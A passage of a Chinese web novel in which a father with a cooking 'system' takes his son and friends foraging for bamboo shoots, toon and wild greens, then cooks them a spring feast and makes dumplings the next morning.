“那明天要不要跟我一起去摘香椿？顺便再去挖点春笋什么的，可以做个春笋版腌笃鲜。” 系统任务要求他采摘而不是收集，楚易文已经决定明天去上次那个农家乐来次春游。 “好啊，要不要叫上胡一齐他们？” “看你，你想叫就叫。” “那我问问他们。”楚瑾钰说完连消息都不发，直接在群里打视频。 听到明天去农家乐采摘香椿、挖春笋，胡一齐立刻响应：“我要去！” “我也去。” 商时贸话落，叶其林则是犹豫两秒，不过最终也表示一起去。 叶家。 “不是说好明天带你去乐园玩，你怎么又答应同学去农家乐？” 叶父叶母在儿子寒假期间总喜欢往同学家跑，而且张口闭口将“楚爸”挂在嘴时，二人深夜谈心后反思了一下，觉得他们日常应该增加陪伴孩子的时间，于是决定抽空带他去乐园玩。 叶其林早就过了喜欢去乐园的年纪，闻言开口道：“没事，反正你们都忙，乐园等什么时候你们有空再去。” “再忙明天上午半天时间还是能抽出来。”叶父道。 叶其林觉得半天够干嘛的，还不如不去，再次表示让他们还是忙工作去，自己周六周日有安排。 次日，八点不到叶其林他们就都来到楚家，坐在餐桌上享用早餐。 今天早餐是灌汤包，几个孩子用筷子将包子皮戳开，先喝汤再吃皮和馅，香得脸上都露出满足的表情。 猪肉灌汤包跟蟹黄汤包比起来，虽然少了股蟹鲜味，但同样很美味，薄而韧的包子皮吸收汤汁，吃起来软嫩鲜滑，里面肉馅更是鲜嫩多汁，好吃到让人想哭。 “待会要坐车，别吃太撑。”楚易文看到他们一个接一个往嘴里塞包子，开口提醒。 胡一齐：“没事，我不晕车。” “楚爸，春笋也可以做腌笃鲜吗？”叶其林显然是听楚瑾钰说今天要挖春笋做腌笃鲜，有些好奇。 楚易文：“对，春笋口感爽脆，它做出来的腌笃鲜又是另外一种风味。” “太棒了！又可以吃腌笃鲜，我特别爱吃楚爸你做的腌笃鲜！”胡一齐语气透着兴奋。 商时贸虽然没有说话，不过看他脸上的表情，显然也很期待。 吃完早餐，楚易文开车带着几个孩子出发前往农家乐，半路上叶其林手机忽然响起。 “不去，今天没空，要去农家乐玩。” 他挂掉电话，很快楚瑾钰三人手机也响起来，都是约他们去打篮球的。 别看四人只是高中生，但他们在校内校外都认识不少人，平常会一起约着打篮球。校内的同学还好，校外人员却是龙蛇混杂，有些纯粹是发现他们几个家庭条件好，才主动过来交朋友。 不过从上个学期开始，楚瑾钰他们最多有空在学校内打打篮球，校外那些人约他们基本都是直接拒绝。 “同学约你们打球？我们应该下午就回来，你们可以约晚饭后。”楚易文听到几个孩子接电话的声音，边开车边说。 “不是同学，是之前在外面篮球场玩时认识的人。”楚瑾钰随口道。 得知不是他们同学，楚易文立刻就不再说什么，毕竟外面的不能说都是坏人，但到底不如同学知根知底，于是他将话题转移到农家乐上：“待会除了春笋和香椿，你们顺便在山上找一下荠菜、马兰头、金花茶，回家给你们做荠菜饺子，凉拌马兰头吃。” “真的吗？太好了！我爱吃荠菜饺子！”胡一齐说完发现一个问题，“楚爸，荠菜长什么样？” 他话落，商时贸直接拿手机搜索起来，搜完将结果放到他面前：“长这样。” 得知今天还有挖野菜的任务，几个孩子感觉很有趣，纷纷拿手机开始搜索荠菜、马兰头、金花菜。 “咦，原来这个是金花菜啊！我以前在路边见过！”楚瑾钰望着手机屏幕上的图片说。 胡一齐立刻凑过去看：“这个我也见过，学校里就有，原来还能吃啊！”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 油焖春笋 楚瑾钰四个在车上时就兴奋地讨论着待会要怎么挖野菜, 等车停下，直接拉开车门就往外冲。 “你们慢点。”楚易文边停车边喊，觉得年轻人就是精力旺盛。 由于去年来过, 楚瑾钰几人熟门熟路就跑到山上去。上次他们主要是挖冬笋，今天过来还有其他目的，便没有直接往竹林跑，而是边走边观察。 “哎！你们看，那是不是香椿！” 胡一齐手是真快，说完人已经跑到那个大概一米多高的小树前摘下一株紫红色嫩芽。 “你是不是瞎？人家这挂了牌子，你看清楚再摘。”楚瑾钰有些无语地指着树上那个“我是核桃树不是香椿树”的牌子, 说完没忍住笑起来。 “哈哈哈哈，隔着牌子我都感受到主人的无奈，肯定是有好多人和你一样眼瘸的把核桃芽当香椿芽。” 胡一齐看看自己手里的嫩芽, 掏出手机对比着道：“你自己看，本来就很像。” “这核桃树都快被薅秃了，赶紧走吧, 不然主人家看到要骂人了。”叶其林好笑地提醒。 胡一齐闻言，赶紧把手里的嫩芽放回核桃树上, 随即心虚地转身就跑。 “你们笑什么？” 楚易文已经在用工具摘香椿芽，摘成功时系统声就响起，表示任务完成度加一。他见几个孩子在那笑个不停，边将采摘下来的香椿捡进篮子里边问。 跟胡一齐刚刚发现的小树不同, 这边的香椿树矮的都被摘完，只有高的上面还能摘，直接伸手不太容易够到嫩芽，必须借助工具。 “爸我跟你说，胡一齐这个傻子刚刚……”楚瑾钰乐呵呵分享完, 瞧他爸手里那个工具挺好玩，伸手要接过来。 楚易文见他要就直接给他，提醒一句小心点便拿着锄头去附近挖春笋去。 “楚爸，你来看，这个是不是荠菜？” 年轻人精力就是旺盛，先每人都拿工具摘了不少香椿，很快又到处寻找野菜。 楚易文在听见叶其林声音时直接走过去，发现还真是一片长得正嫩的荠菜。 “这荠菜嫩，包饺子肯定好吃。”嫩秧秧的荠菜看着就讨喜，楚易文边说边蹲下来，顺手将几株荠菜拔出来，敲敲根上的土就放进篮子里。 胡一齐听到吃瞬间就精神了，立刻凑过来帮忙挖。 人多力量大，几个小时忙活下来，很快他们就收获一筐春笋，两篮子香椿，一大袋荠菜，还有不少马兰头。 “附近都找遍了，没看到金花菜，真见鬼，明明学校里都有，这里竟然没有。”胡一齐觉得这玩意以前不找时感觉哪哪都是，现在想找还没有，也是挺离谱。 邵言易：“没事，实在不行等星期一去学校里摘，我记得操场周围就有好多。” 系统要求亲自采摘五样春菜，现在还差一样，楚易文想到农家乐里有菜园子，思及邵言易奶奶说春天头茬韭菜好，于是去找老板。 农家乐本身就提供摘菜活动，老板听到楚易文问，直接拿篮子给他们，让自己去菜园子里摘。 楚易文进入菜园子就直奔韭菜地，握着镰刀就割了把韭菜。 【叮~恭喜宿主完成任务，奖励菜谱油焖春笋、凉拌马兰头、香椿肉沫蒸蛋、炸荠菜丸子、韭菜盒子。】 “楚爸，韭菜为什么不直接拔？”叶其林蹲在旁边问。 楚易文完成任务心情很不错，笑着道：“因为韭菜割完还能继续长，现在这是头茬韭菜，你看，是不是特别嫩。” “韭菜长得跟草一样。”胡一齐顺手从地上拔了根说。 楚易文抬头看过去，直接笑出声：“你手里那根确实是草。” 菜园子里野草除得还算干净，能在一大片韭菜中精准拔出来那根野草，只能说胡一齐运气还挺好。 楚瑾钰：“哈哈哈哈，你今天是来搞笑的吗？”他想到前面胡一齐把核桃芽当香椿芽，现在又把草当韭菜，笑得根本停不下来。 商时贸和叶其林原本没觉得有那么好笑，看到他越笑越大声，可能是受到感染，都忍不住笑起来。 “我刚刚就说它是草，又没说它像韭菜。”胡一齐试图给自己挽回尊严。 楚瑾钰闻言从地上随便拔出两根叶子：“那你说，这两个哪个是韭菜，哪个是草？” “懒得理你。”胡一齐才不想继续闹笑话，直接跑到旁边那块地里摘辣椒去。 菜园里辣椒种类还不少，线椒、螺丝椒、小米辣都有，看到胡一齐摘，楚瑾钰三人笑够也过来凑热闹，结果没事干摘了一堆辣椒。 中午几人是在农家乐吃饭，食材好多都是他们亲自动手摘的，有辣椒炒肉、土豆烧鸡、韭菜炒鸡蛋、萝卜丝炒牛肉、五花肉炒春笋、凉拌马兰头、海带排骨汤。 “这马兰头怎么感觉有点苦苦的……” 由于是自己动手挖的，胡一齐对马兰头很有兴趣，但刚塞进嘴里就忍不住皱眉，觉得没他想的好吃。 “野菜多少会有点苦味。”楚易文说完也尝了一口，他倒是还能接受。 “这个笋是不是焯水没到位啊？感觉有点涩。”楚瑾钰吃着五花肉炒春笋，越吃越觉得不对味。 现挖的春笋特别嫩，吃起来爽脆可口，涩味确实有一些，但在笋的鲜嫩以及五花肉的油脂香中，其实能够忽略。不过他可能是平时吃得太好，所以舌头变得挑剔起来，连这点涩都变得敏感起来。 商时贸：“没有楚爸你炒的笋好吃。” “晚上回去就给你们炒。”楚易文笑着道。 上午漫山遍野地跑，又在菜园子里摘菜，都是体力活。几个孩子嘴上挑剔归挑剔，但饭还是没少吃，很快桌上就安静下来，只剩下筷子碰撞声。 等饭吃得差不多开始喝汤时，胡一齐眉头皱起来：“这汤味道怎么怪怪的？” “咦，这海带怎么糊糊的？是不是不坏了啊？” 听到几个孩子说汤味道不对，楚易文立刻检查起来：“这是煨出来的汤，海带没坏，是炖的时间比较久，所以看起来像是要化了一样，至于汤的味道，是腊排骨的味道，可以喝。” 应该是店里过年腌的腊排骨没用完，今天这道海带排骨汤是用腊排骨掺着新鲜排骨炖的，带着股腊味，加上食材煨的时间长了，油脂融进汤里，海带更是快融化，才让几个孩子以为汤有问题。 可即便听到楚易文的解释，胡一齐他们尝几口后还是不爱喝。 没办法，之前楚易文也给他们炖过海带排骨汤，那清澈的汤色，脆嫩而不失韧劲的海带，酥烂不柴的排骨，早就把几个孩子胃口养叼。 “不好喝，油油的。”胡一齐望着汤表面漂浮着有肥有瘦的肉星，感觉这汤不算难喝，但也不好喝。 好在农家乐里养了狗，他们吃不下的剩饭可以拿去喂狗，倒是不浪费。 午餐结束，又在农家乐这边休息会，欣赏下周围的风景楚易文才带着他们回家。 到家后，楚易文提醒几个孩子记得做作业，自己则是以回房间休息为理由，去系统厨房学做菜。 今天收获颇丰，光是新菜谱就有五个，他先从凉拌马兰头学起。 由于之前在餐桌上时，几个孩子嫌农家乐做的凉拌马兰头苦，在学这道菜时他特意请教老爷子，问怎么样能将苦味去到最低。 想要给野菜去苦味，一个就是焯水，另外就是靠调味。楚易文按照老爷子的指点，很快就将马兰头给凉拌好。 凉拌马兰头做法简单，但越是简单的食物想要做好吃就越难，他反反复复做了好几次，终于做出色香味都达到老爷子标准的凉拌马兰头。 只见翠绿的马兰头里点缀着褐色香干丁，两种颜色搭配起来本就漂亮，更别说在香油的包裹下，整道菜泛着温润的油光，看起来更加令人食欲大开。 楚易文握着筷子尝了一口，马兰头脆嫩中带着纤维感，咀嚼间那股清香中还是夹杂几分微苦，那那丝淡淡苦味很快就消失，舌尖上反而有几分回甘。 虽然有点王婆卖瓜自卖自夸，但他是真觉得自己做的这盘，比中午在农家乐吃的要美味许多。 凉拌马兰头学会，他接下来开始学油焖春笋。和笋相关的菜肴他之前就学过不少，此时处理食材手法已经很熟练。 油焖春笋属于江浙菜，整体味道是咸鲜回甜，这道菜油和糖都要给足，但又不能太过，想要做好吃并不容易。 楚易文将春笋切好块后，十分认真地焯水，笋里草酸含量高，要是焯水不到位，吃起来就会涩，甚至会麻嘴。像是中午那道五花肉炒笋，没去除的涩味就很招几个孩子讨厌。 笋子焯完水捞出来沥干，他将锅里水倒掉，烧干后开始下油。油热时将笋和几片姜一起下进去，中大火煸炒，直到笋子多余的水分被煸走，表皮开始发皱时，楚易文倒入料酒快速翻炒，去除笋子的土腥味。 随着浓郁笋香从锅里飘出来时，他继续下入生抽、老抽和白糖给笋上色，上色完成后加入热水烧开，转小火慢慢焖。 春天的笋本来就格外鲜嫩，用油这么先炒再焖，那股带着春天气息的清爽鲜味源源不断从锅里冒出来，闻起来令人心旷神怡。 楚易文轻咻着笋香，觉得春笋不愧是山珍之一。 焖得差不多时，他开始转大火收汁，在看到老爷子说的“鱼眼泡”时，确定收汁完成，赶紧关火，并点上几滴香醋翻炒均匀，让醋酸再次激发笋香。 所谓“鱼眼泡”，指的是在汤汁变浓稠时形成的泡泡，在酱油与糖形成的油泡裹在笋上时，就是收汁收得正好的时候，如果等“鱼眼泡”消失就会太干。 菜出锅时，每块笋上都均匀地包裹着琥珀色酱汁，让它看起来红亮诱人。 老爷子握着筷子尝了口，眉头微蹙：“调味还差点意思，糖放少了，火候也有些不足……” 油焖春笋明显比凉拌马兰头要更麻烦些，楚易文反反复复做了不知道多少遍，才终于让老爷子满意。 成功学会两道菜，楚易文带着满满的成就感继续学习。 香椿肉沫蒸蛋倒是挺好学，蒸蛋他早就做熟，此时只用按比例加上香椿，再重新把握火候就好。 加入香椿蒸出来的蛋，鲜嫩中多了末香椿特有的清香与爽脆，吃起来口感更加丰富，带着满满春天气息。 学完香椿肉沫蒸蛋和韭菜盒子后，楚易文感觉有点累，不过想到只剩最后一个菜，还是决定都学完。 最后那道菜是炸荠菜丸子，别看菜名只有荠菜，实际上这道菜食材还挺丰富，是用荠菜、马兰头、肉沫、马蹄一起做馅，再用糯米粉包着油炸，炸出来的丸子色泽金黄，咬开里面满满都是春天的气息。 从系统厨房学完出来，楚易文在房间里小憩一会，精神满满地开门出来，对几个孩子说要给他们做一桌春日宴。 楚瑾钰四人闻言特别捧场，胡一齐更是直接表白：“好耶！楚爸我爱你！” “楚爸我帮你剥笋。”叶其林说不出来这种肉麻话，直接以行动表示。 看到几个孩子这么高兴地凑过来帮忙，楚易文那句问作业的扫兴话到底还是咽回去，开始处理食材准备晚餐。 由于几个孩子中午时嫌弃农家乐的汤，他先从冰箱里拿出排骨、玉米、胡萝卜出来，先用砂锅把汤炖上，再来做其他菜。 在油焖春笋开始大火收汁时，那股香味，差点没馋得胡一齐口水流出来。 明明就是单纯的春笋，连肉都没配，却能这么香，几个孩子都忍不住伸长脖子往锅里瞧。 而等楚易文剁好马兰头、荠菜等食材开始调肉馅时，楚瑾钰立刻好奇道：“爸，你要包饺子吗？” “饺子下次再吃，今天先做个炸荠菜丸子。” 丸子还没开始炸，光是他调好的肉馅闻起来就特别香，等用糯米粉包好开始下油锅时，那股炸货特有的焦香，别提多诱人。 “楚爸，你炸的丸子看起来好香啊，我还没吃过这种丸子……”胡一齐嘴上说没吃过，眼睛里却是写满“想吃”两个字。 楚易文闻言，直接将刚炸好的丸子递过去：“你们尝尝味道先。” 炸好的丸子表皮特别酥脆，咬开里面带着点糯米粉的软糯，内里则是肉鲜混着荠菜、马兰头特有的清香，以及马蹄的爽脆。 整道炸荠菜丸子吃起来焦香中带着软糯，软糯中带着咸鲜，咸鲜中不失清爽脆嫩，荠菜、马兰头中和油炸的油腻感，咀嚼间简直像是把春天都吃进嘴里，余味悠长。 说是让楚瑾钰他们尝尝，结果他们一吃根本就停不下来，楚易文炸一个他们吃一个，炸两个吃两个，吃到后面甚至抢起来。 楚易文眼见炸出来的丸子还赶不上他们吃的，又好气又好笑，直接挥手道：“行了行了，你们出去玩去，再吃待会没菜了。” 他话落，楚瑾钰伸手直接抓走盆里最后两个丸子才从厨房离开，胡一齐则是追在后面喊：“分我一个！” 把人从厨房赶出去，楚易文笑着摇摇头，终于能好好炸丸子。 荠菜丸子炸完，还有韭菜盒子要煎，随着他将一道道菜做好，厨房里香味别提多诱人，等香味顺着窗户飘出去时，又不知馋到多少小区里的邻居。 客厅里，楚瑾钰四人闻着浓郁的香味，打游戏打的都时不时要分心抬头看两眼，等着楚易文喊他们吃饭。 楚易文今天新学的那几道菜做起来都不费什么时间，就是整体偏素了点，他想想又从冰箱里拿出牛肉，用几个孩子上午在菜园摘的辣椒做了盘辣椒炒牛肉。 “吃饭了。” 等菜全部做好，他刚喊一句，几个孩子立刻丢下手机往厨房跑，至于没打完的游戏？本来就是娱乐局，他们才不在乎。 “好香啊！楚爸你太会做了！” 胡一齐回味着刚刚在灶台边吃的炸荠菜丸子，趁着端菜的功夫，没忍住偷偷往嘴里塞了个。 “爸他偷吃！”楚瑾钰说完却是被手里的油焖春笋给香到，顺手捏起一块塞进嘴里，刚入嘴时尝到浓郁的焦糖香和一股酱香，咀嚼间笋的脆嫩与鲜香蔓延整个口腔。 “你自己还不是在偷吃！” 楚易文笑着摇摇头，觉得这两个是真损友，好起来时是真好，闹起来时谁也不饶谁。 很快饭菜全部上桌，那卖相，那颜色，满满都是春天的气息。 胡一齐望着桌上的菜，发自内心“哇”了一声，随即才端起碗筷开吃。 “太好吃了！太好吃了！这才是美味的春笋，一点涩味都没有，吃起来又脆又嫩。” 胡一齐话落，叶其林咽下嘴里的笋道：“楚爸你太厉害了，这笋里连肉都没有，但吃起来却那么香，比中午那道五花肉炒笋好吃一百倍！” 整道油焖春笋是咸甜口，但那股甜味出现在笋里却特别自然，与酱油的咸鲜融合得恰到好处，酱汁的咸甜和笋的清甜脆嫩融合在一起，回味中都透着甘香。 楚易文在出锅前点了几滴香醋进去，吃起来时却尝不到醋酸味，不过香醋的存在却是提升整道菜的鲜味，并在润物细无声地化解油腻。 正是因为有出锅前那几滴香醋，才让明明放了不少油和糖的春笋吃起来完全不腻。 楚瑾钰感觉他爸手艺真是越来越好，就着油焖春笋连吃好几口饭，随即才去夹韭菜盒子。 韭菜盒子表面被煎成金黄色，边缘被手工捏出来的画边看起来很紧致。楚瑾钰咬开酥脆的外皮，露出里面翠绿中夹杂嫩黄的颜色，看着就特别有食欲。 韭菜盒子里的馅是韭菜加鸡蛋和粉丝，韭菜和鸡蛋本来就是完美搭配，韭菜的脆嫩加上鸡蛋的鲜香，以及粉丝的爽滑，口感简直不要太丰富。 好吃！ 楚瑾钰咀嚼着香喷喷的韭菜盒子，感觉这种外酥脆里软嫩的滋味，简直越吃越香。 听到他吃韭菜盒子发出的“咔嚓”声，叶其林有被馋到，也夹起一个吃起来，其实他以前对韭菜不是很喜欢，觉得它很难嚼，但此时却被韭菜盒子的味道给惊艳到。 春天头茬韭菜本来就格外鲜嫩，剁碎后加上鸡蛋和粉丝做馅，整体吃起来咸香爽嫩中带着略微汁水感，让整道韭菜盒子湿润不干，整个吃完都不会有噎得慌的感觉。 他们在吃韭菜盒子时，胡一齐正在用香椿蒸蛋拌饭吃：“唔，香椿蒸蛋口感好特别啊，和香椿炒鸡蛋一样好吃！” 脆嫩的香椿配上鲜滑的鸡蛋，加上带着点颗粒感的肉沫，比普通蒸蛋口感更丰富，味道更加香，单吃好吃，拌饭吃更是美味。 楚瑾钰听到他的话，立刻拿起勺子尝起来，赞同地点头：“确实好吃。” 眼见几个孩子把所有菜都吃一遍，就是不碰凉拌马兰头，楚易文开口道：“尝尝马兰头，我焯过水了，不苦。” 叶其林想到中午吃的那个凉拌马兰头，直接看向胡一齐，示意他先尝尝。 楚易文都开口了，这点面子胡一齐还是给的，立刻伸出筷子夹了一点点送进嘴里。 刚嚼之前他还怕像中午一样难吃，多咀嚼两下后眼睛瞬间亮起来：“好吃！真的不苦哎！” 叶其林闻言这才开始动筷子，入口就是马兰头特有的清香，随即还有香干的咸鲜与柔韧，等到咽下去时味蕾泛起淡淡苦微，不过很快这丝苦就变成回甘，以至于他都怀疑是真有苦味还是自己的错觉。 “楚爸你手艺真是没得说，连野菜都能做得这么好吃。”叶其林说完又吃了一口。 马兰头调味简单，但这种咸鲜清甜交织的味道，却是越吃越令人上瘾。它不属于第一口就令人惊艳的菜，而是耐吃型，让你吃完一口就忍不住想两口。 看到他们吃得那么香，商时贸和楚瑾钰纷纷跟着动筷子，刚吃进嘴，脑海中就浮现“中午吃的马兰头是什么玩意”的念头。 第42章 韭菜炒河虾 楚瑾钰连吃几口凉拌马兰头后想起来什么, 抬头道：“对了，爸你不是说要做春笋版腌笃鲜？” “家里没有咸肉和百叶结，等明天我再给你们做。” 本来楚易文是准备用积分换点食材出来, 结果几个孩子前面一直在厨房里帮忙，后边他们倒是被赶出去，但再做腌笃鲜时间有些来不及。 “楚爸，我们明天还可以来你家吃饭？”胡一齐听到明天吃腌笃鲜，用期待的眼神望着他。 楚易文：“可以啊，食材都是你们辛辛苦苦挖的，当然得来吃。” 他说完又补充一句：“要不你们今晚就在家里住, 明天给你们煮荠菜饺子吃。” “好！”胡一齐听到这话立刻答应。 于是几个孩子晚上就都在楚家住下，像之前一样在楚瑾钰房间打地铺。 当然，凡事都有两面性, 在楚家几个孩子吃得好玩得好，还有人关心，就是有一点, 会被催着做作业、学习。 商时贸倒是还好，他平常只是觉得做不做都无所谓, 反正他做得再好也只换来他爸妈一句“比不上你大哥”的评价。非要让他做，他其实能挺快完成作业。 跟他比起来，楚瑾钰和胡一齐两个人写个作业跟屁股底下有钉子一样，根本坐不住, 一会去喝水，一会跑厕所。 “你们俩真是懒驴上磨屎尿多。”叶其林做作业效率没商时贸那么高，但他好歹能好好坐着，因此见楚瑾钰二人半个小时不到起起坐坐好几回，忍不住吐槽。 楚易文没在旁边盯着他们, 而是回房间剪视频去，今天这桌春日宴不光几个孩子爱吃，他自己同样很满意，觉得很有留念价值。 他今天剪视频剪得格外认真，最前面还放了不少食材在地里的图片，嫩秧秧的荠菜，长在树上的香椿芽，从土里钻出来的春笋，碧绿的韭菜，光是看着就感受到春天的生机勃勃。 往常不爱给视频配乐的他今天特意找了个和春天相关的轻音乐，等视频剪完，他从头到尾看一遍，脸上不由露出微笑，觉得等过去十年二十年后再来看，回忆起今天估计依旧能心情愉悦。 【哇，太有生活了，竟然连食材都是现挖的！怪不得做出来那么诱人。】 【上班上的人都傻了，差点忘记春天已经到了，单休党本来准备明天在家睡一天，现在忽然有点想出去踏春挖野菜了。】 【香椿竟然还可以蒸蛋？看起来好好吃啊！我家楼下就有香椿树，明天搞点来试试。】 【凉拌马兰头看起来好好吃，有谁要跟我一起去挖野菜不？我不认识，怕挖错把自己毒死。】 【油焖春笋！我爱吃这个，啊啊啊啊！我也想出去挖春笋，这个破班真是一天都不想上了！简直馋死我了！】 【太馋人了，为什么野菜都能做得这么馋人？尤其是那个炸荠菜丸子，隔着视频就感觉很好吃，不行，我要使出撒手锏了！妈——妈——我想吃炸荠菜丸子！】 【哈哈哈哈，要是我妈的话，她会回一句:我看你像个荠菜丸子。】 【（握手）同一个世界，同一个妈。】 楚易文见视频刚发出去没多久就有评论，随手看起来，在看到那句“我看你像个荠菜丸子”时不由唇角上扬。 类似的话他妈以前也说过，虽然是对他爸说的。想到此，他心里怀念父母的同时又有些小遗憾，遗憾父母在世时自己没有这个手艺，不然还能做美食孝敬孝敬他们。 等他从书房里出来时，几个孩子早就回房间去，隔着门都听见里面打打闹闹的声音。 “晚上早点睡，别熬夜。”楚易文没有进去，只站在门口提醒一句。 “知道了。” “楚爸你放心，我肯定不熬夜！” 听到几个孩子此起彼伏的回应声，楚易文这才回自己房间休息去。 * 嫩秧秧的荠菜特别适合拿来包饺子，楚易文家冰箱保鲜效果好，次日早上他起来将荠菜拿出来时还很新鲜。 荠菜洗干净剁碎时，一股清新又独特的气息飘散出来，等到肉末和它搅拌在一起时，荠菜那股野性清香被油脂给包裹住，形成一种难以言喻的香味。 光是饺子馅就已经散发出几分诱人香气，可以想见待会包成饺子煮熟会有多美味。 饺子馅调好，楚易文开始揉面擀饺子皮，在他已经擀出不少饺子皮时，忽然听到身后传来脚步声，转头就看到原来是商时贸。 “怎么这么早醒了？” “昨天睡得早，今天到点就醒了。”商时贸没说是被胡一齐忽然甩过来的胳膊砸醒，直接走到厨房里，“楚爸，你竟然连饺子皮都自己擀！” “揉两下面的事，顺手就擀出来。”楚易文笑着说。 主要他之前看到网上报到，说外面卖的饺子皮添加硼砂，觉得左右自己都学会擀饺子皮，就别省这个事。 “那我来包饺子。”他自己早上也要吃饺子，商时贸压根没说“帮”这个字，洗干净手就直接开始包。 楚易文夸道：“你还会包饺子，真不错。” “饺子挺简单的，小时候玩橡皮泥就会包了。”商时贸边说边拿着饺子皮往里面添馅，然后将饺子皮捏紧，看起来确实还挺像样。 很快厨房中二人一个擀饺子皮，一个包，气氛安静中带着几分温馨。 直到将最后一个饺子皮擀出来，楚易文也开始包饺子，他包饺子的手法是跟老爷子学的，包得又快又漂亮。 “楚爸你包的饺子真好。”商时贸本来觉得自己会包饺子，等看到他包出来的饺子，顿时觉得没有对比就没有伤害。 在他开始跟楚易文学包饺子时，房间里，不知道是不是少个人的缘故，很快叶其林也醒来，左右转着脑袋，发现商时贸不在，他直接起身。 楚瑾钰和胡一齐很快被他起身的动静吵醒，于是三人都没再睡。 等他们洗漱完从房间出来，看到商时贸在跟楚易文一起包饺子，楚瑾钰这个亲儿子还没什么反应，胡一齐已经像是吃醋似地跑过去：“楚爸，你竟然教他包饺子不带我！” 楚易文闻言哭笑不得道：“你不是才起来，我怎么带你？” “不管，我也要学。” 胡一齐说完就挤到两人中间开始凑热闹，然而包出来的饺子却是有些一言难尽。 “你包的什么玩意，待会那个饺子你自己吃。”楚瑾钰嫌弃道。 人多做事就是快，本来还要包一会的饺子，在几个孩子全部参与进来后，十分钟不到就包完，就是外形各有各的特色。 楚易文在他们抢着包饺子时就把地方让出来，转头烧水准备煮饺子。 随着饺子开始下锅，饺子皮本身的麦香味被煮出来，那朴实无华的谷物气息在春日早晨闻起来让人感觉很是温暖。 “好香啊，饿了。” 热气升腾间，荠菜和肉鲜味逐渐从饺子皮里钻出来，混着那股麦香，让胡一齐直接开始摸肚子。 “很快就煮好了。” 楚易文说完又过一会，等饺子滚完最后一道水，开始关火给他们盛饺子。 “爸，那个丑饺子是胡一齐包的，盛给他。” “哪里丑了？你不要以貌取饺子。” 楚易文眼见盛个饺子他们还能吵吵起来，干脆放下勺子道：“那你们自己盛，吃多少盛多少。” 很快几个孩子就把自己要吃的饺子盛好，他们都是挑一部分自己包的，然后挑楚易文包的，对其他人包的饺子则是十分嫌弃。 楚易文好笑地摇摇头，正准备等他们盛完再去吃时，没想到几个孩子却自己将他那份盛好。 锅里饺子个别卖相确实不太好，但饺子皮和饺子馅都是出自楚易文手，味道还是不会差。 一口咬下去，柔韧的饺子皮带着面食特有的香味，随即鲜美的饺子馅带着汤汁在嘴里迸发开来，荠菜的清新和肉沫的鲜美随着咀嚼融合在一起，鲜香美味。 叶其林咽下饺子，感觉嘴巴里还残留着荠菜特有的清香，忍不住夸道：“太好吃了！” “确实好吃，楚爸你做的饺子，我能吃一百个！”胡一齐说完直接把整个饺子塞进嘴里，享受着咬开那瞬间饺子里汤汁溢出来的鲜美，吃得眼睛都弯起来。 “喜欢你们就多吃点，还有好多。”楚易文说完起身将第二锅饺子给煮上。 今天早上饺子包的可不少，足足有一百五十多个，结果还真全部吃光，可见荠菜饺子是真好吃。 早餐结束，楚易文边穿外套边问：“我准备去买菜，你们是一起去还是在家里玩？” 楚瑾钰有点不想动弹，但见胡一齐屁颠屁颠喊着“一起去”，又见商时贸甚至已经起身，觉得自己待在家里也没意思，便干脆都一起去。 自从知道码头菜市场后，楚易文大部分时候都是在那里买菜，今天自然不例外。 他们到时船已经到码头，有不少年轻人帮着卖菜的老人提篮子挑担，画面看起来很是美好。 都不用楚易文开口，几个孩子自发跑下台阶，帮几个老人把菜搬到大坝上的菜市场里。 “爸，这里有卖河虾的，要不要买点？”楚瑾钰帮老人们搬完菜后，看到有个年纪特别大的老人身边还带着几岁的小孩，开口喊。 楚易文走过来看到桶里新鲜的河虾，直接点头：“给我称三斤。” “爸多买点吧，胡一齐爱吃虾。”楚瑾钰说。 楚易文闻言直接询问老人桶里一共多少斤，得知有十斤，干脆全部买下，买完的同时系统“叮”的一声响起，给了个“韭菜炒河虾”的菜谱。 老人将河虾全部卖出去，脸上顿时露出笑容，他旁边的小孩也跟着笑起来。 看到一老一少两张笑脸，楚瑾钰在听见他爸说“河虾趁新鲜才好吃，接下来得吃好几顿了。”时，直接点头：“没事，反正爸你做的菜那么好吃，吃几顿也不会腻。” 楚易文听到这话脸上露出几分笑容，想着家里韭菜没剩多少，又转身去买韭菜。 本来他还有点担心这边没有咸肉卖，结果买完韭菜就看到隔壁摊子有老人在卖咸鱼、咸肉，他直接每样买了点。 “楚爸，吃枇杷。” 胡一齐看到有个老人在卖枇杷，直接买了好几斤，买完抓着几个枇杷让楚易文先吃。 “挺甜的，没想到枇杷现在就上市了。”楚易文接过枇杷，剥开皮时浓郁的果香扑鼻而来，吃进嘴里果肉几乎没什么酸味。 胡一齐：“那个奶奶说是自己家里种的，你喜欢吃我再去买点。” 他说完直接撒腿跑到刚刚那个摊子前就又称了几斤。 “胡一齐、楚瑾钰……” 在胡一齐买完枇杷跑回楚易文身边时，旁边忽然有人喊他们名字，他转头就看见班上同学。 “余思语，你怎么在这？”胡一齐好奇道。 “我跟我妈过来买菜。” 余思语说完视线从楚瑾钰父子身上扫过，礼貌地打招呼：“叔叔好。” “你好。”楚易文笑着点点头。 见儿子遇见同学，他将几个孩子留在原地让他们聊天，自己则是去买剩下的菜。 楚瑾钰似乎没兴趣跟班上女同学聊天，伸手从胡一齐手里提的袋子抓出一把枇杷慢慢吃着，倒是胡一齐跟余思语聊了几句。 “之前看到你们在这里帮忙的视频，感觉爷爷奶奶们挺不容易，我就让我妈过来买菜，我妈说这边的菜比超市新鲜，而且价格还实惠……” 余思语跟胡一齐说着话，视线却是落在楚瑾钰身上，等他吃完开口道：“你的枇杷在哪买的？甜吗？” “胡一齐买的，挺甜的。” 楚瑾钰话落，胡一齐给她指了卖枇杷的摊子在哪，随即四人就和她分开，去找楚易文。 楚易文那边已经将需要的食材都买齐，只差一样百叶结这里没有，还得去其他地方跑一趟。 等几个孩子过来时，他就听见胡一齐在说什么暗恋，好奇道：“暗恋？你们谁暗恋刚刚那个小姑娘吗？” 说话的同时，几人都已经上车，楚易文将车开出去。 “没有，爸你别听胡一齐胡说八道。”楚瑾钰第一个反驳。 胡一齐：“没有，楚爸你误会了，是那个女生暗恋楚瑾钰，我问楚瑾钰对她感觉怎么样。” “她暗恋关我什么事……” 楚易文本来还以为是哪个臭小子想早恋，听清楚前因后果，表情却是稍微认真起来：“瑾钰，对女生要尊重，不要拿人家的心意来随便开玩笑，再说暗恋这种事哪里说得准，万一是误会，你们到处说对人家姑娘影响就大了。” “楚爸这话不是我们说的，是班上有人这么说，我以后不拿这个跟楚瑾钰开玩笑了。”胡一齐赶紧道。 楚瑾钰觉得无缘无故挨他爸一通说，有点不高兴。 